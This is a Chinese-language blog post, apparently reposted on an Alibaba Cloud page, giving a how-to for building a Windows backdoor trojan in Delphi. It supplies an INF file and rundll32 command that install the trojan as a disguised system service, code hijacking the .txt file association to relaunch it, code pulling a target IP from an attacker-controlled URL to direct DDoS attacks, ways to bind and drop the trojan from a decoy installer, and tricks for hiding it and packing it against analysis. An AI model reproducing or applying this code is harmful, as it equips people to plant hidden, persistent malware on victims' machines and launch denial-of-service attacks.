關於開發系統後門軟體的幾點思路

來源:互聯網
上載者:User

關於開發系統後門軟體的幾點思路

作者:Delphiscn(cnBlaster#sohu.com)http://blog.csdn.net/Delphiscn
注釋:這隻是一篇臨時的閱讀筆記

目錄
1、前言
2、系統載入
3、檔案關聯
4、攻擊控制
5、檔案隱匿
6、附言

前言
現在的系統後門軟體數不勝數,但大都有一個通病,就是系統載入方面很容易被精明的老鳥們察覺。而且遇上類似“天網”或是“金山網鏢”的網路防火牆基本上就沒戲了。前些天在網上看到了一篇名叫《Do all in cmd shell》的文章,裡面關於程式載入的方式比較巧妙,對基於NT的2000/XP這樣的系統基本上已經可以做到通用了。在此我用Delphi,並模仿一些經典後門軟體的功能寫一個Backdoor,希望與各位高手共同交流編程經驗,也算是複習一下以前學習的知識:)

系統載入
讀到這裡,估計很多朋友會立即聯想到HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run和Win.ini中的Load。沒錯,不過從實戰角度出發,現在再用這樣的啟動方式已經有點落後了。而且如果你的程式實現的功能很多,但如果在啟動方面出了問題,不是一件很鬱悶的事嗎?在此,根據 《Do all in cmd shell》作者的思路,我們可以自己寫一個inf檔案,利用這個檔案配置一個系統服務程式。這樣,我們的後門就可以在不知不覺中,隨系統服務一起啟動了。(不過此方案有一個局限性:只適用於NT/2000/XP)這裡引用作者的原文:

現在,讓我們用inf來添加一個系統服務

[Version]

Signature="$WINDOWS NT$"

[DefaultInstall.Services]

AddService=inetsvr,,My_AddService_Name

[My_AddService_Name]

DisplayName=Windows Internet Service

Description=提供對 Internet 資訊服務管理的支援。

ServiceType=0x10

StartType=2

ErrorControl=0

ServiceBinary=%11%/inetsvr.exe

儲存為inetsvr.inf,然後

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%/system32/inetsvr.inf(在這裡我對原文做了點修改)

[註:%systemroot%是個環境變數,假設你的系統檔案夾是C:/Windows,那麼%systemroot%的路徑就是C:/Windows(一般為98或是XP)假設你的系統檔案夾為C:/winnt,那麼%systemroot%的路徑則為C:/winnt(一般為2K)]

這個例子增加一個名為inetsvr的服務(是不是很像系統內建的服務,呵呵)。
幾點說明:
1,最後四項分別是
服務類型:0x10為獨立進程服務,0x20為共用進程服務(比如svchost);
啟動類型:0 系統引導時載入,1 OS初始化時載入,2 由SCM(服務控制管理員)自動啟
動,3 手動啟動,4 禁用。
(注意,0和1隻能用於驅動程式)
錯誤控制:0 忽略,1 繼續並警告,2 切換到LastKnownGood的設定,3 藍屏。
服務程式位置:%11%表示system32目錄,%10%表示系統目錄(WINNT或Windows),%
12%為驅動目錄system32/drivers。其他取值參見DDK。你也可以不用變數,直接使用全路
徑。
這四項是必須要有的。
2,除例子中的六個項目,還有LoadOrderGroup、Dependencies等。不常用所以不介紹
了。
3,inetsvr後面有兩個逗號,因為中間省略了一個不常用的參數flags。
刪除一個服務:

[Version]

Signature="$WINDOWS NT$"

[DefaultInstall.Services]

DelService=inetsvr

很簡單,不是嗎?

下面的步驟就是要在Delphi中調用這個inf安裝服務。我們可以使用shellExecute這個函數,具體用法為

shellExecute(handle,nil,pchar('rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%/system32/inetsvr.inf'),nil,nil,sw_shownormal);

我覺得這裡的sw_shownormal有點不是很好,因為在這個參數下。cmd shell的視窗是可見的,不知道你們有沒有什麼好的辦法?但是,我覺得shellExecute函數有一個好處-------如果應用程式找不到inf,在電腦螢幕上不會有任何的反映。簡單的說,就是不會報錯:)當然,如果你不放心那也可以使用GetWindowsDirectory函數對inf檔案進行絕對位置,不過在這裡我覺得好象沒有這個必要。
疑惑:在這裡我們的共用類型ServiceType=0x10屬於獨立進程服務。估計這個病毒要訪問Internet時會遭到防火牆的攔截。但是象類似svchost、lsass這樣的共用進程服務卻不會,如果我們把ServiceType的值改為0x20我想情況會有所改觀,不過在這裡我沒有深入研究。

檔案關聯
按照慣例,我們可以對txt文本關聯進行修改,將註冊表中的索引值指向我們的後門程式。下面這段代碼可以做到這一點:)

var

  Backdoor: TRegistry;

  FileExt:String;

  FileType:String;

  FileDescription:String;

  ExecName:String;

  WinDir:String;

begin

  FileExt:='.txt';

  FileType:='文字文件';

  FileDescription:='文字文件';

  SetLength(WinDir,128);//擷取Windows目錄

  GetWindowsDirectory(PChar(WinDir),128);

  SetLength(WinDir,StrLen(PChar(WinDir)));

  ExecName:=WinDir+'/system32/inetsvr.exe';//這裡的inetsvr.exe是我們的病毒程式

  Backdoor:=TRegistry.Create;//建立註冊表對象

  try

    Backdoor.RootKey:=HKEY_CLASSES_ROOT;//註冊表根鍵

    if not Backdoor.OpenKey(FileExt, True) then Exit; //當在註冊表中建立檔案類型失敗時退出,一般是註冊表錯誤

    Backdoor.WriteString('',FileType);//寫檔案類型資料

    Backdoor.CloseKey;

    if not Backdoor.OpenKey(FileType,True) then//開啟檔案類型FileType關鍵字

      Exit;

    Backdoor.WriteString('',FileDescription);//寫檔案描述資料

    if not Backdoor.OpenKey('shell/open/command', True) then//開啟子鍵

       Exit;

    Backdoor.WriteString('',ExecName);

    Backdoor.CloseKey;//關閉關鍵字

   finally

    Backdoor.Free;//釋放註冊表對象

   end;

end;

這樣,只要使用者雙擊txt檔案,我們的inetsvr.exe就會又跟著啟動了。

攻擊控制
前些日子在網上看到了一篇關於用bat批次檔控制病毒程式攻擊他人網站的一個例子。由於我對他的那個執行個體還沒有完全搞清楚,不過我們可以使用其他辦法來代替bat。下面我們來實現這個過程:
首先,可以申請一個首頁空間(假設為http://www.attack.com/delphiscn)。上傳一個ipaddress.txt的文檔。內容為192.168.0.1
這裡的192.168.0.1為我們要攻擊的網站地址。
在Delphi中添加如下語句:

var ipaddress:integer;

NMhttp.Get('http://www.attack.com/Delphiscn/ipaddress.txt');

ipaddress:=strtoint(NMhttp.Body);

NMhttp.Free;

這樣,我們的程式就得到了要攻擊的網站地址IPaddress,而且這個IPAddress可由我們自己控制:)
接下來就是論到攻擊了,我們可以在程式中加入一段代碼。向192.168.0.1不停的發送資料包。造成遠程伺服器拒絕響應,也就是經常提到的DDOS。當然你也可以用類似Ping這樣的方法,由於比較簡單,這裡就不再細述了。

檔案隱匿
如果你設計的程式功能比較強大,也許不止一個可執行檔,而且我們又不能象其他共用軟體那樣做安裝程式。其中最簡單的方法就是用copy/b setup.exe+run.exe set.exe這條命令把需要啟動並執行程式載入在前一個可執行程式的後面,setup.exe檔案的職責有兩個,其一是顯示假象讓別人不知道這是一個木馬安裝程式,其二就是真實的目的從指定字長定位將木馬服務程式截取下來並運行安裝,由於木馬服務部分採用了“隱形”技術,所以根本不會被察覺,代碼部分就是定位拷貝,這裡不在細述。還有一種方法是在資源檔RES中預先裝入木馬,並以資料形式存於當前可執行檔中,在合適的時機釋放即可。下面這段代碼可用於從RES中釋放指定的檔案:

procedure runvirus(from:pchar;Fileto:String);

var

   tempdir:string;

   Buf:pointer;

   size:longint;

   h,ResHandle:Cardinal;

   zip:File;

begin

h:=GetModuleHandle(pchar(extractFilename(paramstr(0))));

   tempdir:='';

      reshandle:=FindResource(h,Makeintresource(1),'DAT');

  buf:=Pointer(loadresource(h,reshandle));

   size:=SizeofResource(h,reshandle);

assignfile(zip,tempdir+fileto);

    rewrite(zip,1);

try

    blockwrite(zip,buf^,size)

finally

       closefile(zip);

  end;

end;

資源檔test.rc製作如下:

* 內容:   1    DAT      "test.exe"

* 製作:    BRCC32 test.rc

* 在資源檔中加入:

   {$R *.DFM}

   //加入test.RES,如果不加這一行,當木馬釋放檔案時會找不著資源而報錯,一定要注意這個問題:)
   {$R test.RES}

* 函數調用:

   if not Fileexists('test.exe') then runvirus('DAT','test.exe');

另外,附上幾個比較常用的小技巧:
工作管理員中的隱形:
我們可以使用清除標題的方法:

program Project1;

uses

  Forms,

  Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}
  begin
//此處設定標題的清除

Appilcation.Title:='';

Application.Initialize;

Application.CreateForm(TForm1,Form1);

Application.Run;

end.

工具列上的隱形:
通過使用SetWindowLong函數即可:

SetWindowLong(Application,Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);

防止程式多次重複運行:
在製作利用連接埠進行服務的同時,經常要防止程式的重複執行,因為同一份拷貝在運行時會使用相同的IP地址和相同的連接埠,必然會產生衝突。所以,為了防止程式二次執行。我們可以在程式啟動事件裡加入如下代碼:

假設我們的程式標題為Neverland

program Neverland;

uses

Forms,Windows,SysUtils,

Neverland in 'Neverland.pas' {Form1};

{$R *.RES}

var

  hMutex:HWND;

  Ret:Integer;

Begin

  Application.Initialize;

  Application.Title:='Neverland';

  hMutex:=CreateMutex(nil,False,'Neverland');

  Ret:=GetLastError;

  IF Ret<>ERROR_ALREADY_EXISTS Then

Begin

   Application.CreateForm(TForm1, Form1);

Application.Run;

  End

Else

  ReleaseMutex(hMutex);

end.

附言
通過上述改進,一個系統後門程式就已經初具雛形了。當然,如果您有興趣,還可以對其功能進行擴充。最後,千萬別忘了用ACPack對它加殼哦,這樣會增加他人反組譯碼的困難。如果您有什麼好的思路或方法,歡迎與大家一起討論:)    

參考
《Do all in cmd shell》
  http://www.hackeronline.cn/showart.asp?art_id=476&cat_id=7

 

 

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.